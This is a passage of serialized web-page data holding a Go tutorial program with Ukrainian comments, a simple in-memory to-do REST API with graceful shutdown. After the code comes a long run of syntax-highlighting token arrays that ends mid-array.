\"strings\"\n    \"sync\"\n    \"syscall\"\n    \"time\"\n)\n\n\u002F\u002F Структура задачі\ntype Task struct {\n    ID        int       `json:\"id\"`\n    Title     string    `json:\"title\"`\n    Completed bool      `json:\"completed\"`\n    CreatedAt time.Time `json:\"created_at\"`\n}\n\n\u002F\u002F Сховище задач у пам'яті (у реальному застосунку — база даних)\ntype TaskStore struct {\n    mu    sync.RWMutex\n    tasks map[int]*Task\n    nextID int\n}\n\nfunc NewTaskStore() *TaskStore {\n    return &TaskStore{\n        tasks: make(map[int]*Task),\n        nextID: 1,\n    }\n}\n\nfunc (s *TaskStore) Create(title string) *Task {\n    s.mu.Lock()\n    defer s.mu.Unlock()\n\n    task := &Task{\n        ID:        s.nextID,\n        Title:     title,\n        Completed: false,\n        CreatedAt: time.Now(),\n    }\n\n    s.tasks[s.nextID] = task\n    s.nextID++\n\n    return task\n}\n\nfunc (s *TaskStore) GetAll() []*Task {\n    s.mu.RLock()\n    defer s.mu.RUnlock()\n\n    tasks := make([]*Task, 0, len(s.tasks))\n    for _, task := range s.tasks {\n        tasks = append(tasks, task)\n    }\n\n    return tasks\n}\n\nfunc (s *TaskStore) GetByID(id int) (*Task, bool) {\n    s.mu.RLock()\n    defer s.mu.RUnlock()\n\n    task, exists := s.tasks[id]\n    return task, exists\n}\n\nfunc (s *TaskStore) Delete(id int) bool {\n    s.mu.Lock()\n    defer s.mu.Unlock()\n\n    if _, exists := s.tasks[id]; !exists {\n        return false\n    }\n\n    delete(s.tasks, id)\n    return true\n}\n\n\u002F\u002F HTTP-обробники\nfunc (s *TaskStore) handleTasks(w http.ResponseWriter, r *http.Request) {\n    switch r.Method {\n    case http.MethodGet:\n        s.handleGetTasks(w, r)\n    case http.MethodPost:\n        s.handleCreateTask(w, r)\n    default:\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n    }\n}\n\nfunc (s *TaskStore) handleGetTasks(w http.ResponseWriter, r *http.Request) {\n    tasks := s.GetAll()\n\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    json.NewEncoder(w).Encode(map[string]any{\n        \"tasks\": tasks,\n        \"count\": len(tasks),\n    })\n}\n\nfunc (s *TaskStore) handleCreateTask(w http.ResponseWriter, r *http.Request) {\n    var payload struct {\n        Title string `json:\"title\"`\n    }\n\n    if err := json.NewDecoder(r.Body).Decode(&payload); err != nil {\n        http.Error(w, \"Invalid JSON\", http.StatusBadRequest)\n        return\n    }\n\n    if strings.TrimSpace(payload.Title) == \"\" {\n        http.Error(w, \"Title is required\", http.StatusUnprocessableEntity)\n        return\n    }\n\n    task := s.Create(payload.Title)\n\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    w.WriteHeader(http.StatusCreated)\n    json.NewEncoder(w).Encode(task)\n}\n\nfunc (s *TaskStore) handleTaskByID(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Парсимо ID із шляху (наприклад, \u002Ftasks\u002F42)\n    pathParts := strings.Split(r.URL.Path, \"\u002F\")\n    if len(pathParts) \u003C 3 {\n        http.Error(w, \"Invalid path\", http.StatusBadRequest)\n        return\n    }\n\n    id, err := strconv.Atoi(pathParts[2])\n    if err != nil {\n        http.Error(w, \"Invalid task ID\", http.StatusBadRequest)\n        return\n    }\n\n    switch r.Method {\n    case http.MethodGet:\n        s.handleGetTaskByID(w, r, id)\n    case http.MethodDelete:\n        s.handleDeleteTask(w, r, id)\n    default:\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n    }\n}\n\nfunc (s *TaskStore) handleGetTaskByID(w http.ResponseWriter, r *http.Request, id int) {\n    task, exists := s.GetByID(id)\n    if !exists {\n        http.Error(w, \"Task not found\", http.StatusNotFound)\n        return\n    }\n\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    json.NewEncoder(w).Encode(task)\n}\n\nfunc (s *TaskStore) handleDeleteTask(w http.ResponseWriter, r *http.Request, id int) {\n    if !s.Delete(id) {\n        http.Error(w, \"Task not found\", http.StatusNotFound)\n        return\n    }\n\n    w.WriteHeader(http.StatusNoContent)\n}\n\nfunc main() {\n    store := NewTaskStore()\n\n    \u002F\u002F Додаємо кілька тестових задач\n    store.Create(\"Вивчити HTTP протокол\")\n    store.Create(\"Створити REST API на Go\")\n    store.Create(\"Розгорнути сервер у Docker\")\n\n    \u002F\u002F Налаштовуємо маршрути\n    mux := http.NewServeMux()\n    mux.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"🚀 To-Do API працює! Спробуйте GET \u002Ftasks\")\n    })\n    mux.HandleFunc(\"\u002Ftasks\", store.handleTasks)\n    mux.HandleFunc(\"\u002Ftasks\u002F\", store.handleTaskByID)\n\n    \u002F\u002F Кастомний сервер із таймаутами\n    server := &http.Server{\n        Addr:         \":8080\",\n        Handler:      mux,\n        ReadTimeout:  10 * time.Second,\n        WriteTimeout: 10 * time.Second,\n        IdleTimeout:  120 * time.Second,\n    }\n\n    \u002F\u002F Запускаємо сервер у горутині\n    go func() {\n        fmt.Println(\"🚀 To-Do API запущено на http:\u002F\u002Flocalhost:8080\")\n        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n            log.Fatalf(\"Помилка запуску сервера: %v\", err)\n        }\n    }()\n\n    \u002F\u002F Graceful Shutdown\n    quit := make(chan os.Signal, 1)\n    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)\n    \u003C-quit\n\n    fmt.Println(\"\\n🛑 Зупиняємо сервер...\")\n\n    ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n    defer cancel()\n\n    if err := server.Shutdown(ctx); err != nil {\n        log.Fatalf(\"Помилка при зупинці сервера: %v\", err)\n    }\n\n    fmt.Println(\"✅ Сервер коректно зупинено\")\n}\n","cmd\u002Ftodo-api\u002Fmain.go",[5236,36496,36497,36503,36507,36513,36517,36521,36525,36529,36533,36537,36541,36545,36549,36553,36557,36561,36565,36569,36574,36585,36595,36604,36614,36628,36632,36636,36641,36652,36662,36679,36685,36689,36693,36707,36717,36741,36751,36755,36759,36763,36793,36808,36825,36829,36840,36855,36866,36878,36893,36897,36901,36923,36933,36937,36944,36948,36952,36975,36989,37005,37009,37040,37063,37081,37085,37089,37096,37100,37104,37137,37151,37167,37171,37193,37205,37209,37213,37242,37256,37272,37276,37305,37311,37315,37319,37338,37344,37348,37352,37357,37398,37410,37422,37442,37454,37473,37479,37505,37509,37513,37517,37557,37571,37575,37597,37627,37638,37653,37657,37661,37665,37705,37715,37723,37727,37731,37771,37798,37802,37806,37810,37834,37861,37865,37869,37873,37895,37899,37921,37939,37961,37965,37969,38010,38015,38047,38064,38091,38095,38099,38103,38131,38144,38172,38177,38182,38187,38200,38213,38237,38250,38274,38281,38308,38313,38318,38323,38370,38393,38404,38432,38437,38442,38447,38470,38493,38498,38503,38550,38569,38596,38601,38606,38611,38630,38635,38640,38649,38661,38666,38672,38688,38704,38720,38725,38731,38746,38787,38807,38812,38836,38860,38865,38871,38886,38898,38909,38928,38947,38966,38971,38976,38982,38991,39007,39044,39067,39072,39077,39082,39087,39112,39143,39150,39155,39175,39180,39219,39228,39233,39262,39285,39290,39295,39310],{"__ignoreMap":5472},[5557,36498,36499,36501],{"class":5559,"line":5560},[5557,36500,5564],{"class":5563},[5557,36502,5568],{"class":5567},[5557,36504,36505],{"class":5559,"line":5571},[5557,36506,5575],{"emptyLinePlaceholder":5574},[5557,36508,36509,36511],{"class":5559,"line":5578},[5557,36510,5582],{"class":5581},[5557,36512,5586],{"class":5585},[5557,36514,36515],{"class":5559,"line":5589},[5557,36516,29824],{"class":5592},[5557,36518,36519],{"class":5559,"line":5596},[5557,36520,12578],{"class":5592},[5557,36522,36523],{"class":5559,"line":5602},[5557,36524,5599],{"class":5592},[5557,36526,36527],{"class":5559,"line":5608},[5557,36528,5605],{"class":5592},[5557,36530,36531],{"class":5559,"line":5614},[5557,36532,12286],{"class":5592},[5557,36534,36535],{"class":5559,"line":5620},[5557,36536,29841],{"class":5592},[5557,36538,36539],{"class":5559,"line":5626},[5557,36540,29846],{"class":5592},[5557,36542,36543],{"class":5559,"line":5631},[5557,36544,14477],{"class":5592},[5557,36546,36547],{"class":5559,"line":5644},[5557,36548,5617],{"class":5592},[5557,36550,36551],{"class":5559,"line":5651},[5557,36552,14482],{"class":5592},[5557,36554,36555],{"class":5559,"line":5686},[5557,36556,29851],{"class":5592},[5557,36558,36559],{"class":5559,"line":5704},[5557,36560,29856],{"class":5592},[5557,36562,36563],{"class":5559,"line":5732},[5557,36564,5623],{"class":5585},[5557,36566,36567],{"class":5559,"line":5738},[5557,36568,5575],{"emptyLinePlaceholder":5574},[5557,36570,36571],{"class":5559,"line":5755},[5557,36572,36573],{"class":5647},"\u002F\u002F Структура задачі\n",[5557,36575,36576,36578,36581,36583],{"class":5559,"line":5760},[5557,36577,11991],{"class":5563},[5557,36579,36580],{"class":5567}," Task",[5557,36582,11997],{"class":5563},[5557,36584,5701],{"class":5585},[5557,36586,36587,36589,36592],{"class":5559,"line":5778},[5557,36588,14511],{"class":5654},[5557,36590,36591],{"class":5567},"        int",[5557,36593,36594],{"class":5592},"       `json:\"id\"`\n",[5557,36596,36597,36599,36601],{"class":5559,"line":5794},[5557,36598,14522],{"class":5654},[5557,36600,16977],{"class":5567},[5557,36602,36603],{"class":5592},"    `json:\"title\"`\n",[5557,36605,36606,36609,36611],{"class":5559,"line":5799},[5557,36607,36608],{"class":5654},"    Completed",[5557,36610,19148],{"class":5567},[5557,36612,36613],{"class":5592},"      `json:\"completed\"`\n",[5557,36615,36616,36619,36621,36623,36625],{"class":5559,"line":5807},[5557,36617,36618],{"class":5654},"    CreatedAt",[5557,36620,21172],{"class":5567},[5557,36622,5268],{"class":5585},[5557,36624,21177],{"class":5567},[5557,36626,36627],{"class":5592}," `json:\"created_at\"`\n",[5557,36629,36630],{"class":5559,"line":5813},[5557,36631,5922],{"class":5585},[5557,36633,36634],{"class":5559,"line":5835},[5557,36635,5575],{"emptyLinePlaceholder":5574},[5557,36637,36638],{"class":5559,"line":5849},[5557,36639,36640],{"class":5647},"\u002F\u002F Сховище задач у пам'яті (у реальному застосунку — база даних)\n",[5557,36642,36643,36645,36648,36650],{"class":5559,"line":5875},[5557,36644,11991],{"class":5563},[5557,36646,36647],{"class":5567}," TaskStore",[5557,36649,11997],{"class":5563},[5557,36651,5701],{"class":5585},[5557,36653,36654,36656,36658,36660],{"class":5559,"line":5881},[5557,36655,29003],{"class":5654},[5557,36657,14556],{"class":5567},[5557,36659,5268],{"class":5585},[5557,36661,14561],{"class":5567},[5557,36663,36664,36667,36669,36671,36673,36676],{"class":5559,"line":5887},[5557,36665,36666],{"class":5654},"    tasks",[5557,36668,17363],{"class":5563},[5557,36670,6192],{"class":5585},[5557,36672,6686],{"class":5567},[5557,36674,36675],{"class":5585},"]*",[5557,36677,36678],{"class":5567},"Task\n",[5557,36680,36681,36683],{"class":5559,"line":5892},[5557,36682,14583],{"class":5654},[5557,36684,14586],{"class":5567},[5557,36686,36687],{"class":5559,"line":5898},[5557,36688,5922],{"class":5585},[5557,36690,36691],{"class":5559,"line":5914},[5557,36692,5575],{"emptyLinePlaceholder":5574},[5557,36694,36695,36697,36700,36702,36705],{"class":5559,"line":5919},[5557,36696,5634],{"class":5563},[5557,36698,36699],{"class":5637}," NewTaskStore",[5557,36701,14604],{"class":5585},[5557,36703,36704],{"class":5567},"TaskStore",[5557,36706,5701],{"class":5585},[5557,36708,36709,36711,36713,36715],{"class":5559,"line":5925},[5557,36710,11758],{"class":5581},[5557,36712,25802],{"class":5585},[5557,36714,36704],{"class":5567},[5557,36716,6695],{"class":5585},[5557,36718,36719,36722,36724,36726,36728,36730,36732,36734,36736,36739],{"class":5559,"line":5930},[5557,36720,36721],{"class":5654},"        tasks",[5557,36723,6704],{"class":5585},[5557,36725,14631],{"class":5637},[5557,36727,5673],{"class":5585},[5557,36729,6681],{"class":5563},[5557,36731,6192],{"class":5585},[5557,36733,6686],{"class":5567},[5557,36735,36675],{"class":5585},[5557,36737,36738],{"class":5567},"Task",[5557,36740,14647],{"class":5585},[5557,36742,36743,36745,36747,36749],{"class":5559,"line":5952},[5557,36744,14652],{"class":5654},[5557,36746,6704],{"class":5585},[5557,36748,6213],{"class":6134},[5557,36750,6710],{"class":5585},[5557,36752,36753],{"class":5559,"line":5966},[5557,36754,5735],{"class":5585},[5557,36756,36757],{"class":5559,"line":5971},[5557,36758,5922],{"class":5585},[5557,36760,36761],{"class":5559,"line":5977},[5557,36762,5575],{"emptyLinePlaceholder":5574},[5557,36764,36765,36767,36769,36772,36774,36776,36778,36780,36782,36785,36787,36789,36791],{"class":5559,"line":5998},[5557,36766,5634],{"class":5563},[5557,36768,5226],{"class":5585},[5557,36770,36771],{"class":5654},"s ",[5557,36773,18338],{"class":5585},[5557,36775,36704],{"class":5567},[5557,36777,10276],{"class":5585},[5557,36779,18378],{"class":5637},[5557,36781,5673],{"class":5585},[5557,36783,36784],{"class":5654},"title",[5557,36786,6662],{"class":5567},[5557,36788,18862],{"class":5585},[5557,36790,36738],{"class":5567},[5557,36792,5701],{"class":5585},[5557,36794,36795,36798,36800,36802,36804,36806],{"class":5559,"line":6003},[5557,36796,36797],{"class":5654},"    s",[5557,36799,5268],{"class":5585},[5557,36801,29122],{"class":5654},[5557,36803,5268],{"class":5585},[5557,36805,15278],{"class":5637},[5557,36807,5752],{"class":5585},[5557,36809,36810,36812,36815,36817,36819,36821,36823],{"class":5559,"line":6009},[5557,36811,5741],{"class":5581},[5557,36813,36814],{"class":5654}," s",[5557,36816,5268],{"class":5585},[5557,36818,29122],{"class":5654},[5557,36820,5268],{"class":5585},[5557,36822,15357],{"class":5637},[5557,36824,5752],{"class":5585},[5557,36826,36827],{"class":5559,"line":6036},[5557,36828,5575],{"emptyLinePlaceholder":5574},[5557,36830,36831,36834,36836,36838],{"class":5559,"line":6049},[5557,36832,36833],{"class":5654},"    task",[5557,36835,8973],{"class":5585},[5557,36837,36738],{"class":5567},[5557,36839,6695],{"class":5585},[5557,36841,36842,36845,36847,36849,36851,36853],{"class":5559,"line":6073},[5557,36843,36844],{"class":5654},"        ID",[5557,36846,25501],{"class":5585},[5557,36848,17575],{"class":5654},[5557,36850,5268],{"class":5585},[5557,36852,15302],{"class":5654},[5557,36854,6710],{"class":5585},[5557,36856,36857,36860,36862,36864],{"class":5559,"line":6079},[5557,36858,36859],{"class":5654},"        Title",[5557,36861,8989],{"class":5585},[5557,36863,36784],{"class":5654},[5557,36865,6710],{"class":5585},[5557,36867,36868,36871,36873,36876],{"class":5559,"line":6084},[5557,36869,36870],{"class":5654},"        Completed",[5557,36872,6704],{"class":5585},[5557,36874,36875],{"class":5563},"false",[5557,36877,6710],{"class":5585},[5557,36879,36880,36883,36885,36887,36889,36891],{"class":5559,"line":6089},[5557,36881,36882],{"class":5654},"        CreatedAt",[5557,36884,6704],{"class":5585},[5557,36886,20432],{"class":5654},[5557,36888,5268],{"class":5585},[5557,36890,23468],{"class":5637},[5557,36892,23232],{"class":5585},[5557,36894,36895],{"class":5559,"line":6095},[5557,36896,5735],{"class":5585},[5557,36898,36899],{"class":5559,"line":6118},[5557,36900,5575],{"emptyLinePlaceholder":5574},[5557,36902,36903,36905,36907,36910,36912,36914,36916,36918,36920],{"class":5559,"line":6140},[5557,36904,36797],{"class":5654},[5557,36906,5268],{"class":5585},[5557,36908,36909],{"class":5654},"tasks",[5557,36911,6192],{"class":5585},[5557,36913,17575],{"class":5654},[5557,36915,5268],{"class":5585},[5557,36917,15302],{"class":5654},[5557,36919,14679],{"class":5585},[5557,36921,36922],{"class":5654},"task\n",[5557,36924,36925,36927,36929,36931],{"class":5559,"line":6167},[5557,36926,36797],{"class":5654},[5557,36928,5268],{"class":5585},[5557,36930,15302],{"class":5654},[5557,36932,15348],{"class":5585},[5557,36934,36935],{"class":5559,"line":6172},[5557,36936,5575],{"emptyLinePlaceholder":5574},[5557,36938,36939,36941],{"class":5559,"line":6177},[5557,36940,11758],{"class":5581},[5557,36942,36943],{"class":5654}," task\n",[5557,36945,36946],{"class":5559,"line":6182},[5557,36947,5922],{"class":5585},[5557,36949,36950],{"class":5559,"line":6201},[5557,36951,5575],{"emptyLinePlaceholder":5574},[5557,36953,36954,36956,36958,36960,36962,36964,36966,36969,36971,36973],{"class":5559,"line":6218},[5557,36955,5634],{"class":5563},[5557,36957,5226],{"class":5585},[5557,36959,36771],{"class":5654},[5557,36961,18338],{"class":5585},[5557,36963,36704],{"class":5567},[5557,36965,10276],{"class":5585},[5557,36967,36968],{"class":5637},"GetAll",[5557,36970,18937],{"class":5585},[5557,36972,36738],{"class":5567},[5557,36974,5701],{"class":5585},[5557,36976,36977,36979,36981,36983,36985,36987],{"class":5559,"line":6223},[5557,36978,36797],{"class":5654},[5557,36980,5268],{"class":5585},[5557,36982,29122],{"class":5654},[5557,36984,5268],{"class":5585},[5557,36986,14940],{"class":5637},[5557,36988,5752],{"class":5585},[5557,36990,36991,36993,36995,36997,36999,37001,37003],{"class":5559,"line":6273},[5557,36992,5741],{"class":5581},[5557,36994,36814],{"class":5654},[5557,36996,5268],{"class":5585},[5557,36998,29122],{"class":5654},[5557,37000,5268],{"class":5585},[5557,37002,14954],{"class":5637},[5557,37004,5752],{"class":5585},[5557,37006,37007],{"class":5559,"line":6278},[5557,37008,5575],{"emptyLinePlaceholder":5574},[5557,37010,37011,37013,37015,37017,37020,37022,37024,37026,37028,37030,37032,37034,37036,37038],{"class":5559,"line":6284},[5557,37012,36666],{"class":5654},[5557,37014,5663],{"class":5585},[5557,37016,14631],{"class":5637},[5557,37018,37019],{"class":5585},"([]*",[5557,37021,36738],{"class":5567},[5557,37023,5305],{"class":5585},[5557,37025,6195],{"class":6134},[5557,37027,5305],{"class":5585},[5557,37029,6871],{"class":5637},[5557,37031,5673],{"class":5585},[5557,37033,17575],{"class":5654},[5557,37035,5268],{"class":5585},[5557,37037,36909],{"class":5654},[5557,37039,6878],{"class":5585},[5557,37041,37042,37044,37046,37048,37051,37053,37055,37057,37059,37061],{"class":5559,"line":6291},[5557,37043,5802],{"class":5581},[5557,37045,11557],{"class":5654},[5557,37047,5305],{"class":5585},[5557,37049,37050],{"class":5654},"task",[5557,37052,5663],{"class":5585},[5557,37054,11567],{"class":5581},[5557,37056,36814],{"class":5654},[5557,37058,5268],{"class":5585},[5557,37060,36909],{"class":5654},[5557,37062,5701],{"class":5585},[5557,37064,37065,37067,37069,37071,37073,37075,37077,37079],{"class":5559,"line":6315},[5557,37066,36721],{"class":5654},[5557,37068,15023],{"class":5585},[5557,37070,15026],{"class":5637},[5557,37072,5673],{"class":5585},[5557,37074,36909],{"class":5654},[5557,37076,5305],{"class":5585},[5557,37078,37050],{"class":5654},[5557,37080,5623],{"class":5585},[5557,37082,37083],{"class":5559,"line":6328},[5557,37084,5735],{"class":5585},[5557,37086,37087],{"class":5559,"line":6334},[5557,37088,5575],{"emptyLinePlaceholder":5574},[5557,37090,37091,37093],{"class":5559,"line":6339},[5557,37092,11758],{"class":5581},[5557,37094,37095],{"class":5654}," tasks\n",[5557,37097,37098],{"class":5559,"line":6345},[5557,37099,5922],{"class":5585},[5557,37101,37102],{"class":5559,"line":6379},[5557,37103,5575],{"emptyLinePlaceholder":5574},[5557,37105,37106,37108,37110,37112,37114,37116,37118,37121,37123,37125,37127,37129,37131,37133,37135],{"class":5559,"line":6385},[5557,37107,5634],{"class":5563},[5557,37109,5226],{"class":5585},[5557,37111,36771],{"class":5654},[5557,37113,18338],{"class":5585},[5557,37115,36704],{"class":5567},[5557,37117,10276],{"class":5585},[5557,37119,37120],{"class":5637},"GetByID",[5557,37122,5673],{"class":5585},[5557,37124,13207],{"class":5654},[5557,37126,6650],{"class":5567},[5557,37128,18900],{"class":5585},[5557,37130,36738],{"class":5567},[5557,37132,5305],{"class":5585},[5557,37134,29573],{"class":5567},[5557,37136,5949],{"class":5585},[5557,37138,37139,37141,37143,37145,37147,37149],{"class":5559,"line":6390},[5557,37140,36797],{"class":5654},[5557,37142,5268],{"class":5585},[5557,37144,29122],{"class":5654},[5557,37146,5268],{"class":5585},[5557,37148,14940],{"class":5637},[5557,37150,5752],{"class":5585},[5557,37152,37153,37155,37157,37159,37161,37163,37165],{"class":5559,"line":6395},[5557,37154,5741],{"class":5581},[5557,37156,36814],{"class":5654},[5557,37158,5268],{"class":5585},[5557,37160,29122],{"class":5654},[5557,37162,5268],{"class":5585},[5557,37164,14954],{"class":5637},[5557,37166,5752],{"class":5585},[5557,37168,37169],{"class":5559,"line":6400},[5557,37170,5575],{"emptyLinePlaceholder":5574},[5557,37172,37173,37175,37177,37179,37181,37183,37185,37187,37189,37191],{"class":5559,"line":6406},[5557,37174,36833],{"class":5654},[5557,37176,5305],{"class":5585},[5557,37178,15904],{"class":5654},[5557,37180,5663],{"class":5585},[5557,37182,17575],{"class":5654},[5557,37184,5268],{"class":5585},[5557,37186,36909],{"class":5654},[5557,37188,6192],{"class":5585},[5557,37190,13207],{"class":5654},[5557,37192,6198],{"class":5585},[5557,37194,37195,37197,37200,37202],{"class":5559,"line":6417},[5557,37196,11758],{"class":5581},[5557,37198,37199],{"class":5654}," task",[5557,37201,5305],{"class":5585},[5557,37203,37204],{"class":5654},"exists\n",[5557,37206,37207],{"class":5559,"line":6429},[5557,37208,5922],{"class":5585},[5557,37210,37211],{"class":5559,"line":6440},[5557,37212,5575],{"emptyLinePlaceholder":5574},[5557,37214,37215,37217,37219,37221,37223,37225,37227,37230,37232,37234,37236,37238,37240],{"class":5559,"line":6466},[5557,37216,5634],{"class":5563},[5557,37218,5226],{"class":5585},[5557,37220,36771],{"class":5654},[5557,37222,18338],{"class":5585},[5557,37224,36704],{"class":5567},[5557,37226,10276],{"class":5585},[5557,37228,37229],{"class":5637},"Delete",[5557,37231,5673],{"class":5585},[5557,37233,13207],{"class":5654},[5557,37235,6650],{"class":5567},[5557,37237,10276],{"class":5585},[5557,37239,29573],{"class":5567},[5557,37241,5701],{"class":5585},[5557,37243,37244,37246,37248,37250,37252,37254],{"class":5559,"line":6471},[5557,37245,36797],{"class":5654},[5557,37247,5268],{"class":5585},[5557,37249,29122],{"class":5654},[5557,37251,5268],{"class":5585},[5557,37253,15278],{"class":5637},[5557,37255,5752],{"class":5585},[5557,37257,37258,37260,37262,37264,37266,37268,37270],{"class":5559,"line":6481},[5557,37259,5741],{"class":5581},[5557,37261,36814],{"class":5654},[5557,37263,5268],{"class":5585},[5557,37265,29122],{"class":5654},[5557,37267,5268],{"class":5585},[5557,37269,15357],{"class":5637},[5557,37271,5752],{"class":5585},[5557,37273,37274],{"class":5559,"line":6491},[5557,37275,5575],{"emptyLinePlaceholder":5574},[5557,37277,37278,37280,37282,37284,37286,37288,37290,37292,37294,37296,37298,37301,37303],{"class":5559,"line":6514},[5557,37279,5689],{"class":5581},[5557,37281,11557],{"class":5654},[5557,37283,5305],{"class":5585},[5557,37285,15904],{"class":5654},[5557,37287,5663],{"class":5585},[5557,37289,17575],{"class":5654},[5557,37291,5268],{"class":5585},[5557,37293,36909],{"class":5654},[5557,37295,6192],{"class":5585},[5557,37297,13207],{"class":5654},[5557,37299,37300],{"class":5585},"]; !",[5557,37302,15904],{"class":5654},[5557,37304,5701],{"class":5585},[5557,37306,37307,37309],{"class":5559,"line":6519},[5557,37308,28878],{"class":5581},[5557,37310,29600],{"class":5563},[5557,37312,37313],{"class":5559,"line":6529},[5557,37314,5735],{"class":5585},[5557,37316,37317],{"class":5559,"line":6540},[5557,37318,5575],{"emptyLinePlaceholder":5574},[5557,37320,37321,37324,37326,37328,37330,37332,37334,37336],{"class":5559,"line":6565},[5557,37322,37323],{"class":5637},"    delete",[5557,37325,5673],{"class":5585},[5557,37327,17575],{"class":5654},[5557,37329,5268],{"class":5585},[5557,37331,36909],{"class":5654},[5557,37333,5305],{"class":5585},[5557,37335,13207],{"class":5654},[5557,37337,5623],{"class":5585},[5557,37339,37340,37342],{"class":5559,"line":6570},[5557,37341,11758],{"class":5581},[5557,37343,29748],{"class":5563},[5557,37345,37346],{"class":5559,"line":6578},[5557,37347,5922],{"class":5585},[5557,37349,37350],{"class":5559,"line":6588},[5557,37351,5575],{"emptyLinePlaceholder":5574},[5557,37353,37354],{"class":5559,"line":6612},[5557,37355,37356],{"class":5647},"\u002F\u002F HTTP-обробники\n",[5557,37358,37359,37361,37363,37365,37367,37369,37371,37374,37376,37378,37380,37382,37384,37386,37388,37390,37392,37394,37396],{"class":5559,"line":6617},[5557,37360,5634],{"class":5563},[5557,37362,5226],{"class":5585},[5557,37364,36771],{"class":5654},[5557,37366,18338],{"class":5585},[5557,37368,36704],{"class":5567},[5557,37370,10276],{"class":5585},[5557,37372,37373],{"class":5637},"handleTasks",[5557,37375,5673],{"class":5585},[5557,37377,8909],{"class":5654},[5557,37379,8912],{"class":5567},[5557,37381,5268],{"class":5585},[5557,37383,8917],{"class":5567},[5557,37385,5305],{"class":5585},[5557,37387,8922],{"class":5654},[5557,37389,8925],{"class":5585},[5557,37391,8928],{"class":5567},[5557,37393,5268],{"class":5585},[5557,37395,8933],{"class":5567},[5557,37397,5949],{"class":5585},[5557,37399,37400,37402,37404,37406,37408],{"class":5559,"line":6622},[5557,37401,6409],{"class":5581},[5557,37403,10109],{"class":5654},[5557,37405,5268],{"class":5585},[5557,37407,12981],{"class":5654},[5557,37409,5701],{"class":5585},[5557,37411,37412,37414,37416,37418,37420],{"class":5559,"line":6627},[5557,37413,6420],{"class":5581},[5557,37415,8912],{"class":5654},[5557,37417,5268],{"class":5585},[5557,37419,12990],{"class":5654},[5557,37421,6426],{"class":5585},[5557,37423,37424,37427,37429,37432,37434,37436,37438,37440],{"class":5559,"line":6667},[5557,37425,37426],{"class":5654},"        s",[5557,37428,5268],{"class":5585},[5557,37430,37431],{"class":5637},"handleGetTasks",[5557,37433,5673],{"class":5585},[5557,37435,8909],{"class":5654},[5557,37437,5305],{"class":5585},[5557,37439,8922],{"class":5654},[5557,37441,5623],{"class":5585},[5557,37443,37444,37446,37448,37450,37452],{"class":5559,"line":6673},[5557,37445,6420],{"class":5581},[5557,37447,8912],{"class":5654},[5557,37449,5268],{"class":5585},[5557,37451,26869],{"class":5654},[5557,37453,6426],{"class":5585},[5557,37455,37456,37458,37460,37463,37465,37467,37469,37471],{"class":5559,"line":6698},[5557,37457,37426],{"class":5654},[5557,37459,5268],{"class":5585},[5557,37461,37462],{"class":5637},"handleCreateTask",[5557,37464,5673],{"class":5585},[5557,37466,8909],{"class":5654},[5557,37468,5305],{"class":5585},[5557,37470,8922],{"class":5654},[5557,37472,5623],{"class":5585},[5557,37474,37475,37477],{"class":5559,"line":6713},[5557,37476,6573],{"class":5581},[5557,37478,6426],{"class":5585},[5557,37480,37481,37483,37485,37487,37489,37491,37493,37495,37497,37499,37501,37503],{"class":5559,"line":6726},[5557,37482,9300],{"class":5654},[5557,37484,5268],{"class":5585},[5557,37486,9267],{"class":5637},[5557,37488,5673],{"class":5585},[5557,37490,8909],{"class":5654},[5557,37492,5305],{"class":5585},[5557,37494,13009],{"class":5592},[5557,37496,5305],{"class":5585},[5557,37498,8928],{"class":5654},[5557,37500,5268],{"class":5585},[5557,37502,13018],{"class":5654},[5557,37504,5623],{"class":5585},[5557,37506,37507],{"class":5559,"line":6739},[5557,37508,5735],{"class":5585},[5557,37510,37511],{"class":5559,"line":6752},[5557,37512,5922],{"class":5585},[5557,37514,37515],{"class":5559,"line":6762},[5557,37516,5575],{"emptyLinePlaceholder":5574},[5557,37518,37519,37521,37523,37525,37527,37529,37531,37533,37535,37537,37539,37541,37543,37545,37547,37549,37551,37553,37555],{"class":5559,"line":6767},[5557,37520,5634],{"class":5563},[5557,37522,5226],{"class":5585},[5557,37524,36771],{"class":5654},[5557,37526,18338],{"class":5585},[5557,37528,36704],{"class":5567},[5557,37530,10276],{"class":5585},[5557,37532,37431],{"class":5637},[5557,37534,5673],{"class":5585},[5557,37536,8909],{"class":5654},[5557,37538,8912],{"class":5567},[5557,37540,5268],{"class":5585},[5557,37542,8917],{"class":5567},[5557,37544,5305],{"class":5585},[5557,37546,8922],{"class":5654},[5557,37548,8925],{"class":5585},[5557,37550,8928],{"class":5567},[5557,37552,5268],{"class":5585},[5557,37554,8933],{"class":5567},[5557,37556,5949],{"class":5585},[5557,37558,37559,37561,37563,37565,37567,37569],{"class":5559,"line":6773},[5557,37560,36666],{"class":5654},[5557,37562,5663],{"class":5585},[5557,37564,17575],{"class":5654},[5557,37566,5268],{"class":5585},[5557,37568,36968],{"class":5637},[5557,37570,5752],{"class":5585},[5557,37572,37573],{"class":5559,"line":6814},[5557,37574,5575],{"emptyLinePlaceholder":5574},[5557,37576,37577,37579,37581,37583,37585,37587,37589,37591,37593,37595],{"class":5559,"line":6845},[5557,37578,9121],{"class":5654},[5557,37580,5268],{"class":5585},[5557,37582,10972],{"class":5637},[5557,37584,11043],{"class":5585},[5557,37586,11046],{"class":5637},[5557,37588,5673],{"class":5585},[5557,37590,11098],{"class":5592},[5557,37592,5305],{"class":5585},[5557,37594,6555],{"class":5592},[5557,37596,5623],{"class":5585},[5557,37598,37599,37601,37603,37605,37607,37609,37611,37613,37615,37617,37619,37621,37623,37625],{"class":5559,"line":6881},[5557,37600,11109],{"class":5654},[5557,37602,5268],{"class":5585},[5557,37604,11114],{"class":5637},[5557,37606,5673],{"class":5585},[5557,37608,8909],{"class":5654},[5557,37610,7121],{"class":5585},[5557,37612,11123],{"class":5637},[5557,37614,5673],{"class":5585},[5557,37616,6681],{"class":5563},[5557,37618,6192],{"class":5585},[5557,37620,6692],{"class":5567},[5557,37622,6689],{"class":5585},